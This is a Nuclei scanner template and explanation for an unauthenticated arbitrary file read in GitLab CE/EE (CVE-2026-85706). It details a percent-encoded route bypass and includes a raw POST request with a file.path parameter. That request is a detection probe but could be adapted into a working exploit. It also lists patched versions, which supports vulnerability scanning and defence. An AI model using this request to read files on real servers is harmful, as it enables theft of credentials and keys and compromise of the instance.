GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.
PoC代码[已公开]
id: CVE-2026-85706
info:
name: GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read
author: FLX
severity: critical
description: |
GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.
impact: |
Unauthenticated remote attackers can read any file accessible to the GitLab git user, including /etc/passwd, database credentials, secrets.yml, SSH private keys, and CI build artifacts, which in turn enables session forgery and full compromise of the instance. Exploitation requires at least one publicly readable project on the target.
remediation: |
Upgrade GitLab CE/EE to 19.1.8, 19.2.6, or 19.3.2 or later. The fix moves authenticate! ahead of file processing and stops accepting raw file.path and file.size parameters from untrusted clients.
reference:
- https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
- https://gitlab.com/gitlab-org/gitlab/-/commit/0ff7b6b2911723389f2271b10362591b0a69a166
- https://github.com/ynsmroztas/GitLabSniper
- https://github.com/mhtsec/CVE-2026-85706
- https://nvd.nist.gov/vuln/detail/CVE-2026-85706
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-85706
epss-score: 0.11115
epss-percentile: 0.95684
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: title="gitlab"
tags: cve,cve2026,gitlab,lfi,unauth,kev,vkev,vuln
http:
- raw:
- |
POST /api/v4/projects/1/repository/%66iles/{{randstr}}?file=&file.path=/cve-2026-85706-nuclei-probe&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: application/json, */*
matchers-condition: and
matchers:
- type: word
part: body
words:
- "local file not present"
- type: status
status:
- 400
# digest: 4a0a00473045022012fac127b0a45ab71d49f331608f0745e18b617dd501df5631b7c4aaf2aaee3f022100d87eca1af4351e832bf2d87b7838cdca817b326e1b79fb4fccc96750678e9cf3:922c64590222798bb761d5b6d8e72950